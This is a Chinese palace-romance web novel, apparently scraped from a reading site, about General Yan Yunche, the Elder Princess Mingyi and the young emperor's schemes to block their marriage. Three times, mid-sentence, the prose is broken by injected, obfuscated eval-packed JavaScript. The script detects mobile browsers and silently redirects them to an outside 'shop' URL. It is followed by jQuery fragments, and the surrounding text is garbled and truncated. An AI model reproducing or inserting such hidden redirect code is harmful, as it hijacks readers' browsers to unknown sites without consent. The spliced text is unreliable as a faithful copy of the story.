燕云徹站在紫宸殿外,一身玄色朝服熨帖挺括,衬得他身姿愈发挺拔。肩上的伤还在隐隐作痛,但他面色如常,只有眼底深处那抹难以察觉的疲惫,暴露了连日奔波和旧伤未愈的煎熬。 三日前,他已在兵部和枢密院分别复命,递交了北境战事的详细奏报。今日,是正式面圣。 “宣,镇北侯燕云徹觐见——” 内侍尖细的嗓音穿透殿门。燕云徹深吸一口气,迈步踏入紫宸殿。 殿内金碧辉煌,少帝明昭身着明黄常服,端坐在御案后。三年不见,这位年轻的帝王眉宇间已褪去了当年的青涩,取而代之的是属于上位者的威严和深沉。御案两侧,几位重臣垂手而立,看向燕云徹的目光复杂难辨。 燕云徹走到殿中央,单膝跪地:“臣,燕云徹,叩见陛下。” “爱卿平身。”少帝的声音平静,听不出情绪,“北境三年,辛苦了。” “为国效力,不敢言苦。”燕云徹起身,垂首而立。 少帝抬手示意,内侍立刻捧上一卷圣旨。少帝接过,缓缓展开:“北境将军燕云徹,三年戍边,战功赫赫。破突厥于阴山,俘其大将,斩首三万,扬我国威。特加封镇北侯,食邑千户,赐丹书铁券,世袭罔替。” 殿内一片寂静。几位重臣交换着眼神,有人眼中闪过惊诧,有人眉头微蹙。镇北侯,这封号不仅显赫,更意味着军权在握。食邑千户,丹书铁券,世袭罔替——这是少帝登基以来,给出的最厚重的封赏。 燕云徹却心中一沉。他再次跪地:“臣,谢陛下隆恩。但臣有一事,望陛下成全。” 少帝放下圣旨,目光落在燕云徹身上:“爱卿请讲。” “三年前,臣出征北境前,曾与陛下有约。”燕云徹抬起头,直视御座上的帝王,“若臣能守住北境三年,击退突厥,陛下便赐婚臣与长公主殿下。如今三年之期已满,臣不辱使命,望陛下履行承诺。” 话音落地,殿内气氛陡然凝滞。几位重臣纷纷低头,无人敢在此刻发出半点声音。少帝脸上的笑容淡了下去,眼神变得深不可测。 “爱卿说的是。”少帝缓缓开口,“朕确实记得有此约定。不过——” 他顿了顿,目光扫过殿内众臣:“爱卿可知,长公主身份尊贵,乃朕之姑母,先帝之妹。而你虽战功赫赫,但出身……” 后面的话没有说完,但意思已足够明白。 三年前,燕云徹向少帝请命时,不过是个从五品的羽林郎将。虽有兵权,但职位不高,更无家族背景。少帝当时同意他去北境,一来是北境确实需要人去送死—— 姬武战死后,北境军心涣散,突厥虎视眈眈,谁去都是九死一生;二来,少帝也确实想把这个总在长公主身边的暗卫调走。 一个没有背景的暗卫,一个可能死在北境的炮灰,一个永远不可能真正威胁到皇权的人——这是少帝三年前对燕云徹的判断。 可谁也没想到,这个“炮灰”不仅没死,反而在北境杀出了一条血路。三年时间,他从一个从五品郎将,一路杀到了正二品的北境将军,如今更是被封为镇北侯。 但这改变不了他的出身。他依然是那个被长公主从草原上捡回来的奴隶,依然是那个没有家族背景的孤臣。在重门第、讲出身的朝堂上,这样的人,如何配得上大蒙的长公主? “臣自知出身低微,配不上长公主殿下。”燕云徹的声音平静,却字字清晰,“但三年前,陛下亲口允诺,若臣立下军功,便可赐婚。如今臣已兑现承诺,望陛下亦能信守诺言。” 少帝的脸色沉了下来。他没想到燕云徹会如此直接,在朝堂之上,当着众臣的面,逼他履行三年前的承诺。 “爱卿误会了。”少帝重新露出笑容,但那笑意未达眼底,“朕非不守承诺之人。只是婚姻大事,关乎长公主一生幸福,需从长计议。况且长公主刚丧夫不久,此时谈婚论嫁,恐惹非议。” “姬武将军战死已三年有余。”燕云徹毫不退让,“按大蒙律法,寡妇守孝三年即可再嫁。如今三年孝期已满,长公主殿下有再嫁之权。” 少帝眼中闪过一丝厉色。他盯着燕云徹,许久,才缓缓道:“爱卿刚回洛安,先好生休养。此事,容后再议。” 这是要拖。 燕云徹心知肚明。少帝不想履行承诺,但又不能当众毁约,只能用拖延战术。拖到朝中有了新的议论,拖到有人提出更合适的“人选”,拖到他这个刚回朝的功臣被渐渐遗忘。 “陛下,”燕云徹再次开口,声音不高,却让殿内每个人都听得清清楚楚,“臣在北境三年,斩突厥首级三万,俘其大将阿史那戈。臣身上的每一道伤,都是为守大蒙疆土所留。臣不求高官厚禄,不求封侯拜相,只求陛下履行三年前的承诺。” 他顿了顿,一字一句道:“若陛下觉得臣不配,臣愿辞去所有官职,交出所有兵权,只做一个平民,与长公主殿下远离朝堂,隐姓埋名,终老一生。” 殿内一片哗然。几位重臣再也忍不住,纷纷抬头看向燕云徹,眼中满是难以置信。辞官?交兵权?只为了娶长公主? 少帝的脸色彻底沉了下来。他盯着燕云徹,眼中风云变幻。许久,他缓缓起身:“退朝。镇北侯留下。” 众臣如蒙大赦,躬身退下。殿内很快只剩下少帝和燕云徹两人。 少帝走下御阶,来到燕云徹面前。三年时间,这位年轻的帝王已经比燕云徹略高一些,此刻俯视着他,眼神冰冷。 “燕云徹,你好大的胆子。”少帝的声音压得很低,却带着帝王的威压,“当着众臣的面,逼朕履行承诺?” “臣不敢。”燕云徹垂首,“臣只是提醒陛下,君无戏言。” “君无戏言?”少帝冷笑一声,“朕是天子,朕的话就是圣旨。三年前朕确实答应过你,但如今情况有变。” “何处有变?” “长公主身份尊贵,岂能下嫁一个出身不明的武夫?”少帝毫不掩饰语气中的轻蔑,“你以为封了侯,就能改变你的出身?燕云徹,你永远都是那个被姑母从草原上捡回来的奴隶。” 这话说得极重,极伤。但燕云徹面色不变,只是抬眼看向少帝:“所以陛下是要毁约?” “朕没有毁约。”少帝转身走回御座,“朕只是需要时间考虑。长公主的婚事,关乎皇室体面,不是儿戏。况且——” 他顿了顿,意味深长地看着燕云徹:“你以为姑母真的愿意嫁给你吗?她拒绝了多少世家子弟的求亲,难道是为了等你?燕云徹,别太把自己当回事了。” 燕云徹的心微微一沉。但他想起三日前那个上元夜,想起明仪在他怀中落泪的模样,想起她说“我要你”时的坚定。他重新挺直脊背:“臣相信长公主殿下。” 少帝盯着他,许久,忽然笑了:“好,那朕就给你一个机会。” 他从御案上拿起一份奏折,扔到燕云徹面前:“这是礼部拟的名单,上面都是适合尚长公主的人选。三日后,朕会在宫中设宴,为这些人和你,一起办个‘选婿宴’。到时,让姑母亲自挑选。若她选了你,朕便赐婚。若她选了别人……” 少帝没有说完,但意思已经很明显。 燕云徹捡起那份奏折,打开。上面密密麻麻列了十几个名字,有世家嫡子,有年轻文臣,有藩王世子。每一个,都出身高贵,背景显赫。而他的名字,被列在最后,前面只简单写了“镇北侯”三个字。 “臣,谢陛下。”燕云徹收起奏折,躬身行礼。 “退下吧。”少帝挥了挥手,眼中闪过一丝算计的光芒。 燕云徹退出紫宸殿,走在宫道上,手指无意识地摩挲着奏折的边缘。三日后,选婿宴。少帝这一招,看似给了他机会,实则是在羞辱他。将他与那些世家子弟放在一起比较,让他这个出身卑微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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燕云徹的心脏像是被什么东西狠狠撞了一下。他看着她,看着这个他爱了八年、等了三年、拼了命也要回来的女人,忽然觉得,一切苦难都是值得的。 “殿下,”他声音沙哑,“臣何德何能……” “你值得。”明仪踮起脚尖,吻了吻他的唇,“燕云徹,你值得这世间最好的一切。而我能给你的,只有我自己。” 燕云徹再也控制不住,将她拥入怀中。夕阳渐渐沉入地平线,夜幕降临,观星台上亮起了灯火。远处宫城的方向,也开始有星星点点的灯光亮起。 三日后,一场鸿门宴,等着他们。 但这一次,他们不再是一个人面对。他们有彼此,有八年的深情,有三年的等待,有拼死也要在一起的决心。 “燕云徹,”明仪在他怀中轻声说,“三日后,无论发生什么,都不要退缩。我要你记住,我选你,不是因为你封了侯,不是因为你立了战功,只是因为你这个人。” “臣记住了。”燕云徹收紧手臂,将她抱得更紧,“无论发生什么,臣都不会退缩。臣答应过殿下,要娶殿下为妻。这个承诺,臣用命来守。” 明仪闭上眼睛,感受着他的体温和心跳。三年前那个雨夜,她也是这样在他怀中,听着他的心跳,许下等待的承诺。三年后,他们依然在一起,依然相爱,依然坚定。 这一次,谁也不能把他们分开。 哪怕是帝王,哪怕是整个朝堂,哪怕是天下人的非议。 他们要在一起,一定要在一起。 夜色渐深,观星台上的灯火在风中摇曳,像是黑暗中不灭的希望。而三日后那场宴席,将决定他们的未来,也将震动整个大蒙朝堂。 但此刻,他们只有彼此,只有这个拥抱,只有这份历经八年磨难却愈发坚定的爱情。 足够了。 5. 第五章 选婿设宴 很快便到了宫中设宴之期。 暮色初降时,长公主府的马车驶入宫门。明仪一身月白色宫装,发间只簪了一支白玉步摇,素净得与这金碧辉煌的宫城格格不入。她扶着侍女的手走下马车,抬眼望去,只见殿前广场上灯火通明,早已布置成了宴饮场地。 场地中央设了箭靶,几个世家子弟正挽弓试射,姿态优雅,箭术却平平。明仪只看了一眼,便收回目光。她的视线在人群中逡巡,很快找到了那个身影。 燕云徹站在人群外围,一身玄色劲装,没有穿朝服。他独自一人,与周围三五成群、谈笑风生的世家子弟形成鲜明对比。他站得笔直,目光平静地望着远方,仿佛这场宴席与他无关。 明仪的心微微一疼。她知道,这是少帝故意的。故意让燕云徹在这样格格不入的环境中,显出他的“不合群”和“粗鄙”。 “长公主殿下驾到——” 内侍高唱,所有人停下动作,齐齐转身行礼。明仪微微颔首,在众人注视下走向主位左侧的席位。经过燕云徹身边时,她的脚步微不可察地顿了顿,眼角的余光瞥见他紧握的拳头。 少帝明昭端坐主位,见明仪落座,笑着举杯:“今日设宴,一是为姑母择婿,二是为镇北侯庆功。诸位不必拘礼,尽兴便是。” 话音落下,宴席正式开始。丝竹声起,歌舞上场,一派和乐融融。但所有人都知道,重头戏在后面。 果然,酒过三巡,少帝放下酒杯,笑道:“光饮酒看舞未免乏味。不如来些助兴的?” 他看向场中箭靶:“听闻今日来的几位公子,都是文武双全。不如比试一番箭术,也让朕开开眼界。” 几位世家子弟纷纷起身,谦逊推让。礼部尚书之子王珩拱手道:“陛下,臣等粗浅技艺,怎敢在镇北侯面前献丑。镇北侯北境三年,箭术定然超凡。” 这话说得巧妙,表面捧燕云徹,实则将他架在火上烤。 若是燕云徹不参加,便是瞧不起这些世家子弟;若是参加,赢了是应该——你是武将,赢了文臣算什么本事? 输了更丢人——堂堂镇北侯,连文臣都比不过? 燕云徹站起身,面色平静:“陛下,臣愿一试。” 少帝眼中闪过一丝得色,挥手道:“好!那就由镇北侯先来。” 内侍奉上弓箭。燕云徹接过,走到射箭线前。他没有像世家子弟那样摆弄姿势,只是站定,搭箭,拉弓—— 动作干净利落,没有丝毫多余。 弓弦绷紧,发出轻微的声响。燕云徹的目光锁定五十步外的靶心,肩上的伤口因用力而隐隐作痛,但他面色不变。 松手。 箭矢破空而去,带着尖锐的呼啸声,稳稳钉入靶心——正中红心,箭尾震颤不休。 场中一片寂静。这一箭的力量、准度、气势,都与方才世家子弟那些软绵绵的箭矢截然不同。那是真正在战场上淬炼出来的箭术,带着杀伐之气。 良久,才有人带头鼓掌。掌声稀稀拉拉,更多的是惊愕和忌惮。 轮到王珩。他挽弓时,手明显有些抖。箭射出,偏了靶心三寸,落在第二环。 他放下弓,笑着朝燕云徹拱手:“镇北侯神箭,我等佩服。果然是武将风范,我等这些只会读书写字的文臣,实在比不上。” 这话一出,几个世家子弟纷纷附和: “是啊,镇北侯战场厮杀惯了,箭术自然凌厉。” “我们这些手无缚鸡之力的书生,哪能和将军比。” “将军这箭,杀气太重,倒像是要取人性命似的。” 明里捧,暗里贬。一句“武将风范”,是在说燕云徹粗鲁;一句“杀气太重”,是在暗示他野蛮;一句“手无缚鸡之力”,更是将自己摆在弱势位置,衬托燕云徹的“强势霸道”。 燕云徹面色不变,只是淡淡道:“王公子过谦了。” 少帝在主位上看着,嘴角噙着一丝若有若无的笑意。他要的就是这个效果—— 让燕云徹在这些世家子弟中,显得格格不入,显得粗鄙不堪。 明仪端着酒杯的手悄悄收紧,指节泛白。她看着燕云徹挺直的背影,看着那些世家子弟虚假的笑容,看着少帝眼中的算计,心中涌起一股怒火。 但她不能发作。她是长公主,要保持端庄,要维持体面。 宴席继续。歌舞再起,觥筹交错。世家子弟们开始高谈阔论,诗词歌赋,琴棋书画,每一句话都在彰显自己的修养和才学。而燕云徹只是沉默地坐着,偶尔喝一口酒,目光平静地望着前方。 明仪看在眼里,疼在心里。她知道燕云徹不是不会这些—— 他其实读过很多书,字也写得好,甚至通音律。但他不屑于在这种场合卖弄,更不屑于与这些人虚与委蛇。 酒过数巡,天色完全暗了下来。宫灯盏盏亮起,将整个场地照得如同白昼。少帝似乎有些醉了,笑着对明仪道:“姑母,看了这半日,可有中意的人选?” 所有人的目光都集中到明仪身上。 明仪放下酒杯,缓缓起身。她环视场中,目光从一个个世家子弟脸上扫过,最后落在燕云徹身上。 “陛下,”她的声音清冷,却清晰地传入每个人耳中,“本宫心中,早已有人选。” 场中一片哗然。少帝的笑容淡了下去:“哦?不知是哪位公子,能入姑母的眼?” 明仪抬起手,指向燕云徹:“镇北侯,燕云徹。” 话一出口,死一般的寂静。 所有人都惊呆了。虽然早有传闻长公主与镇北侯关系不一般,但谁也没想到,她会在这样的场合,当着所有世家子弟的面,如此直白地选择燕云徹。 这是打所有人的脸。那些精心打扮、准备了许久的世家子弟,那些自诩出身高贵、才学出众的公子,在长公主眼中,竟然都不如一个出身卑微的武将。 王珩的脸色变得极其难看。其他世家子弟也纷纷变色,有人眼中闪过愤怒,有人则是不敢置信。 少帝的脸色彻底沉了下来。他盯着明仪,声音冷得能结冰:“姑母可要想清楚。婚姻大事,不是儿戏。” “本宫想得很清楚。”明仪毫不退缩,“三年前就想清楚了。本宫要嫁的,是燕云徹这个人,不是他的出身,不是他的爵位,只是他。” 她顿了顿,一字一句道:“若陛下觉得不妥,本宫愿自请削去公主封号,与燕云徹远离朝堂,做一对寻常夫妻。” 这话比燕云徹当日在紫宸殿说的还要决绝。自请削去封号......这意味着放弃所有皇室特权,放弃尊荣富贵,放弃一切。 少帝的脸色阴晴不定。他盯着明仪看了许久,忽然笑了:“姑母言重了。朕只是担心姑母一时冲动,日后后悔。” “本宫不会后悔。”明仪说,“八年前不后悔,三年前不后悔,今日也不会后悔。” 场中气氛僵到了极点。所有人都屏住呼吸,等待着少帝的反应。 许久,少帝缓缓道:“既然姑母心意已决,朕……允了。” 他顿了顿,补充道:“不过,镇北侯刚刚回朝,婚事筹备需要时间。具体婚期,容后再议。” 这又是在拖时期。但明仪知道,这已经是少帝能做出的最大让步了。当着这么多人的面,少帝不能直接拒绝,否则就是打自己的脸——三年前的承诺是他亲口许下的。 “谢陛下。”明仪行礼,然后看向燕云徹。 燕云徹早已起身,此刻单膝跪地:“臣,谢陛下成全。” 他的声音平静,但明仪看见了他眼中闪动的光芒——那是激动,是喜悦,是八年来终于得偿所愿的释然。 宴席继续,但气氛已经完全变了。世家子弟们脸色难看,匆匆告辞离去。少帝也借口醉酒,提前离席。很快,场中只剩下明仪、燕云徹,以及一些收拾残局的宫人。 明仪走到燕云徹面前,伸手扶他起身。她的手很凉,触到他温热的手腕时,两人都是微微一颤。 “我们走。”明仪低声道。 两人并肩离开宴席场地,走向宫门。一路上,谁也没有说话,但空气中弥漫着一种说不清道不明的张力。 宫门外,长公主府的马车等候着。明仪停下脚步,转身看向燕云徹:“你的马车呢?” “臣步行来的。”燕云徹说。 明仪看着他,忽然笑了:“那就坐我的车。” 她不等他回答,径直走向马车。燕云徹迟疑一瞬,还是跟了上去。 马车内空间不大,两人相对而坐,距离近得能听见彼此的呼吸。车帘放下,隔绝了外界的视线,车内只有一盏小灯摇曳。 明仪看着燕云徹,看着他在灯光下忽明忽暗的脸,看着他眼中压抑的情绪。她伸出手,指尖轻轻触上他的脸颊。 “疼吗?”她问。 燕云徹握住她的手:“不疼。” “我说的是心。”明仪低声道,“那些人的话,那些眼神,那些轻蔑——疼吗?” 燕云徹沉默片刻,缓缓道:“习惯了。” 这三个字,让明仪的心狠狠一揪。 习惯了......习惯了被人轻视,习惯了被人排挤,习惯了独自一人承受所有。 “以后不会了。”她倾身向前,额头抵着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129430|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额头,“以后有我。我会一直在你身边,谁也不能再轻视你,谁也不能再伤害你。” 燕云徹的呼吸急促起来。他看着她近在咫尺的脸,看着她眼中毫不掩饰的爱意和心疼,八年来压抑的情感终于冲破桎梏。 他伸手揽住她的腰,将她拉入怀中,吻了上去。 这个吻不同于之前的任何一个。它激烈,霸道,带着一种近乎绝望的占有欲。燕云徹的唇舌攻城略地,像是要将她整个人吞入腹中。明仪先是怔住,随即反应过来,伸手环住他的脖颈,热烈地回应。 马车在夜色中缓缓行驶,车内的温度却越来越高。燕云徹的吻从她的唇上滑落,停在颈侧时,她的指尖不自觉攥紧他的衣袖。他的呼吸灼热,喷洒在她的皮肤上,激起一阵阵战栗。 “燕云徹……”明仪喘息着唤他的名字。 “臣在。”燕云徹的声音沙哑得厉害,“殿下,臣……” 他话没说完,但明仪懂。她伸手解开他衣领的系带,指尖触到他颈间温热的皮肤。燕云徹浑身一颤,握住她的手。 “殿下,这是在马车上……”他声音压抑。 “我知道。”明仪看着他,眼中是毫不掩饰,“但我想,就在这里。” 这话大胆得近乎疯狂。但燕云徹看着她,看着她眼中的坚定和渴望,最后一丝理智也崩溃了。 他重新吻上她,手环抱上来。明仪的宫装繁复,系带层层叠叠,但燕云徹很快解开最外面的几层。 衣衫半褪,露出里面素白色的里衣。燕云徹的吻落下,同时她看到他有一道浅浅的疤痕——是多年前为了保护她留下的。 “还记得吗?”他低声问。 “记得。”明仪的手指插入他的发间,“那年刺客闯入公主府,你为我挡了一刀。” 那是六年前的事了。那时燕云徹还不是将军,只是她身边的暗卫。刺客的刀原本是冲着她来的,他却毫不犹豫地挡在她身前,肩头被划开一道深可见骨的口子。 那夜她守在他床边,看着他苍白的脸,第一次意识到,这个沉默寡言的暗卫,在她心中已经占据了不可替代的位置。 燕云徹的手抚上她的发尖,指尖轻轻摩挲。 明仪倒抽一口冷气,身体不由自主地绷紧。连呼吸都漏了半拍。 “燕云徹……”她喘息着,声音带着哭腔。 “臣在。”燕云徹吻去她眼角的泪,“殿下,放松。” 明仪紧张地抓住他的头发,却又忍不住将他按向自己,指节因为用力而泛白,但并没有推开。 “嘘……”燕云徹抬起头,手指抵住她的唇,“殿下,小声些。” 明仪咬住他的手指,眼中水光潋滟。燕云徹的眼神暗了暗,重新俯身。 马车还在行驶,车轮碾过石板路的声音规律而单调。但在车内,却是另一番景象。当她终于瘫软在坐垫上时,燕云徹才起身,将她拥入怀中。 “殿下,”他吻着她的发顶,“臣……” “叫我明仪。”明仪打断他,“在没人的时候,叫我明仪。” 燕云徹喉结滚动:“明仪。” “嗯。”明仪满足地应了一声。燕云徹浑身紧绷,却任由她动作。 明仪抬头看他,眼中带着羞涩。 燕云徹握住她的手,按在自己心口。他的呼吸越来越急促,额上渗出细密的汗珠。明仪看着他隐忍的表情,忽然生出一种满足感——这个在战场上所向披靡的男人,这个在朝堂上面不改色的将军,此刻却因为她而失控。 最终,他紧紧抱住她,将脸埋在她颈间,平复着呼吸。 马车终于停下,车夫在外轻声禀报:“殿下,到了。” 明仪和燕云徹迅速整理好衣衫。下车时,两人的脸都有些红,但眼神却更加缠绵。 长公主府门前,燕云徹停下脚步:“臣送殿下到这里。” 明仪看着他,忽然道:“今晚留下。” 燕云徹怔住。 “我说,今晚留下。”明仪重复道,声音不大,却不容拒绝,“你的伤需要换药,而且……” 她顿了顿,眼中闪过一丝狡黠:“而且,我不想让你走。” 燕云徹看着她,看着她眼中的期待和爱意,最后一丝犹豫也烟消云散。 “臣遵命。”他说,然后牵起她的手,一起走进了长公主府。 夜色深沉,府内的灯火温暖而明亮。这一夜,他们终于可以光明正大地在一起,不用再躲躲藏藏,不用再顾忌任何人的眼光。 而宫城之中,少帝明昭站在紫宸殿的窗前,望着长公主府的方向,眼中闪过一丝阴鸷。 6. 第六章 婚期生变 到了钦天监选好的黄道吉日之期,距离他们的婚期还有三日。 长公主府内外早已张灯结彩,红绸挂满了廊庑,喜字贴满了门窗。明仪站在庭院中,看着仆人们忙前忙后,嘴角噙着一丝淡淡的笑意。 八年了,她终于要嫁给他了。 可就在此时,宫中的旨意到了。 “奉天承运,皇帝诏曰:北境蛮族突犯边关,情势危急。着镇北侯燕云徹即刻领兵北上,抵御蛮夷,卫我疆土。婚事……暂缓,待凯旋之日再行完婚。钦此。” 传旨的内侍声音尖细,念到最后“暂缓”二字时,明显顿了顿。 明仪跪在地上,手指死死抠进掌心。她就知道,少帝不会这么轻易让他们成婚。表面应允,暗地里却在这节骨眼上,用一道圣旨将燕云徹支开。 “臣,领旨。”燕云徹的声音平静如常。 他接过圣旨,站起身,看向明仪。四目相对,两人都从对方眼中看到了同样的心思—— 这是阴谋,但不得不去。 军令如山,更何况是圣旨。 “何时出发?”明仪问,声音尽量保持平稳。 “即刻。”燕云徹说,“兵马已在城外集结。” 这么快。少帝连准备的时间都不给他们。 明仪转身走向内室,片刻后回来,手中多了一枚护心符。那是一块青玉雕成的平安扣,用红绳系着,上面还残留着独属于她身上淡淡的沉水香气。 她走到燕云徹面前,将护心符递给他:“此去小心。本宫等你回来……喝合卺酒。” 最后三个字说得很轻,却重若千钧。 燕云徹接过护心符,指尖摩挲着温润的玉面。他能感觉到上面残留的体温,能闻到她身上特有的香气。他抬头看着她,眼中是前所未有的温柔和坚定。 “殿下放心。”他低声道,“臣二十日内必归。” 二十日。他给了她一个承诺,也给了自己一个期限。 “我信你。”明仪说。 燕云徹最后看了她一眼,转身离去。玄色披风在风中扬起,背影决绝而坚定。 明仪站在原地,看着他消失在府门外,手指紧紧攥着衣袖。她知道,真正的较量,现在才开始。 两日后,宫中传来旨意,召长公主入宫“商议和亲细节”。缘由是北境新起的蛮族残余旧部首领要求和亲,才能彻底换取太平,少帝明昭便想出了让她去和亲的办法,解决燃眉危机。 和亲?明仪心中冷笑。她早已过了和亲的年纪,更何况少帝刚应允了她与燕云徹的婚事,哪来的和亲? 这是陷阱。但皇威之下,她不得不去。 她换上宫装,只带了两个贴身侍女,便上了马车。马车驶向宫城,一路上,明仪都能感觉到有人在暗中跟随。不止一拨人。 到了宫门前,内侍引她下车:“陛下在御花园等您,请长公主随奴才来。” 明仪颔首,跟着内侍走向御花园。宫道幽深,两旁是高耸的宫墙。走到一半时,引路的内侍忽然加快了脚步,转过一个弯就不见了。 明仪停下脚步,心中警铃大作。 就在这时,两侧宫墙上突然跃下数个黑衣人,手中刀剑寒光凛冽,直扑她而来。 两个侍女吓得尖叫,却被明仪一把推开:“快跑!” 她转身想逃,却发现自己已被包围。黑衣人动作极快,显然是训练有素的杀手。 明仪心中一凉——少帝这是要置她于死地。 就在刀剑即将落下时,她袖中突然掉出一物,“当啷”一声落在地上。 是一枚青铜令牌,上面刻着“镇北”二字。 杀手们动作一顿,有人低呼:“镇北军的令牌?!” 就是这一瞬间的迟疑,暗处突然射出数支冷箭,精准地穿透了杀手的喉咙。几人连哼都没哼一声,便倒地身亡。 剩下的杀手大惊,正要反击,却见宫道两端涌出数十名身着玄色劲装的男子,手中弓弩齐发,将剩余杀手尽数射杀。 整个过程不过几个呼吸的时间。 明仪站在原地,心脏狂跳。她看着满地尸体,又看向那些玄衣人—— 他们训练有素,行动迅捷,显然是军中精锐。 “公主受惊了。” 一个熟悉的声音在身后响起。 明仪猛地转身,只见一个身影从阴影中走出。那人一身玄衣,面容普通,但眼神锐利如鹰。 “你是谁?”明仪问,声音有些发颤。 “卑职郑沉,镇北侯麾下暗卫统领。”那人单膝跪地,“奉侯爷之命,暗中保护公主。” 明仪怔住:“他……早就知道?” “侯爷离京前便已料到,陛下不会轻易放过公主。”郑沉起身,挥手示意手下清理现场,“侯爷让卑职转告公主:二十日内,他必归。在此期间,公主只需安心等待,一切危险,自有我们应对。” 他顿了顿,补充道:“侯爷还说了,若陛下再召公主入宫,公主可称病不去。若陛下强召……” 郑沉从怀中取出一枚令牌,与明仪掉出的那枚一模一样:“镇北军三万精锐,已秘密集结于洛安城外三十里处。只要公主一声令下,他们随时可入城护驾。” 明仪看着那枚令牌,心中涌起一股复杂的情感。燕云徹早就料到了这一切。他不仅留了后手,还留下了足以颠覆局面的兵力。 他从来不是任人摆布的棋子。他是镇北侯,是在三年血战中能千里之外取得蛮族首领首级之人,是手握重兵的将军,是能在这朝堂之上掀起惊涛骇浪的人。 “本宫知道了。”明仪深吸一口气,“你们先退下,这里我来处理。” “是。”郑沉行礼,带着手下迅速消失在阴影中。 明仪弯腰捡起地上那枚令牌,握在手中。令牌冰凉,却让她感到前所未有的安心。 这时,远处传来脚步声。少帝带着一队侍卫匆匆赶来,看到满地尸体,故作惊讶:“姑母!这是怎么回事?可有受伤?” 明仪看着他虚伪的关切,心中冷笑。她将令牌收回袖中,淡淡道:“本宫无事。只是不知为何,宫中竟有刺客。陛下该好好查查了。” 少帝脸色变了变,强笑道:“姑母说的是。朕定会严查。” 他看着明仪,眼中闪过一丝不甘和忌惮。他本以为这次能一举除掉明仪,却没想到她身边竟然有如此厉害的护卫。 “今日让姑母受惊了,不如先回府休息。”少帝说,“和亲之事,改日再议。” “不必了。”明仪看着他,一字一句道,“本宫已与镇北侯定下婚约,不会再考虑和亲之事。陛下若执意强求……” 她顿了顿,眼中寒光一闪:“本宫不介意让天下人都知道,陛下是如何对待自己的姑母,如何对待为大蒙立下赫赫战功的功臣。” 这话说得极重,几乎是赤裸裸的威胁。 少帝的脸色彻底沉了下来。他盯着明仪看了许久,终于咬牙道:“姑母言重了。朕……何时做了让姑母不如意之事?” “陛下一直在筹谋什么,本宫自是不清楚,但陛下心里难道真的什么都不清楚么?”明仪行了一礼,转身离去。 走出宫门时,她能感觉到少帝阴冷的目光一直追随着她。但她不再害怕。别看她这个侄儿年纪比她小,但在深宫多年,心机早已老谋深算,其实她知道,少帝一直忌惮她这个先帝的女儿。 帝王之家的权谋心术,任何能够影响到他皇位的人和事,对于他来说,都是必须除掉的心腹大患。 燕云徹早就为她铺好了路,留好了后手。他要她做的,只是安心等待。 回到长公主府,明仪立刻召来郑沉。 “侯爷现在到哪儿了?”她问。 “按行程,应该已到北境。”郑沉道,“但侯爷临走前交代,他会日夜兼程,二十日内必归。公主只需再等十八日。” 十八日。不长,但也不短。 “城外的三万精锐,可靠吗?”明仪又问。 “都是跟随侯爷多年的老兵,绝对可靠。”郑沉说,“侯爷在北境三年,带出了一支铁军。这支部队只听侯爷一人号令,陛下……调动不了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129431|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 明仪点头。这就是燕云徹的底气。他手握重兵,功高盖主,少帝忌惮他,却又不得不倚重他。 “公主不必担心。”郑沉看出她的忧虑,“侯爷早有安排。若二十日内他未归,我们会护送公主出城,与城外大军会合。到时,是去是留,全凭公主做主。” 明仪看着他,忽然问:“你们为什么这么忠心于他?” 郑沉默然片刻,缓缓道:“因为侯爷救过我们每一个人的命。不止一次。在北境,在他还不是我们将军的时候,尽管他功高盖主,他还是把我们当出生入死的兄弟对待。他从不把我们当棋子,当炮灰。他教我们识字,给我们请医官,战利品公平分配,战死者厚恤家属。” 他顿了顿,声音低沉:“如今,看着他一步步走来,这样的将军,值得我们用命去追随。” 明仪心中震动。她忽然明白,燕云徹的底气不仅来自军权,更来自人心。他用自己的方式,赢得了将士的忠诚和爱戴。 “我知道了。”她说,“你们先退下吧。有需要,我会叫你们。” “是。”郑沉行礼退下。 明仪独自坐在窗前,望着北方的天空。燕云徹现在在哪儿?是否平安?是否也在想念她? 她取出那枚护心符——这是她给他的那枚的配对,她自己留了一枚。玉面温润,上面刻着一个小小的“仪”字。 “燕云徹,”她轻声自语,“你一定要平安回来。” 北境,雁门关外。 燕云徹站在城楼上,望着远处蛮族的营地。所谓的“蛮族突犯”,不过是小股骚扰,根本不需要他亲自领兵。少帝的用意,他一清二楚。 但他还是来了。因为只有这样,才能让少帝放松警惕,才能让明仪看清少帝的真面目,才能……为接下来的行动争取时间。 “侯爷,探子回报,蛮族只有三千余人,不足为虑。”副将禀报。 “知道了。”燕云徹淡淡道,“传令下去,今夜子时,突袭敌营。一个时辰内结束战斗。” “是!” 副将退下后,燕云徹从怀中取出那枚护心符。玉面在月光下泛着温润的光泽,上面还残留着明仪的香气。他低头轻吻,眼中闪过一抹温柔。 二十日。他答应她的。 所以这场仗必须速战速决。然后,他要立刻赶回洛安,回到她身边。 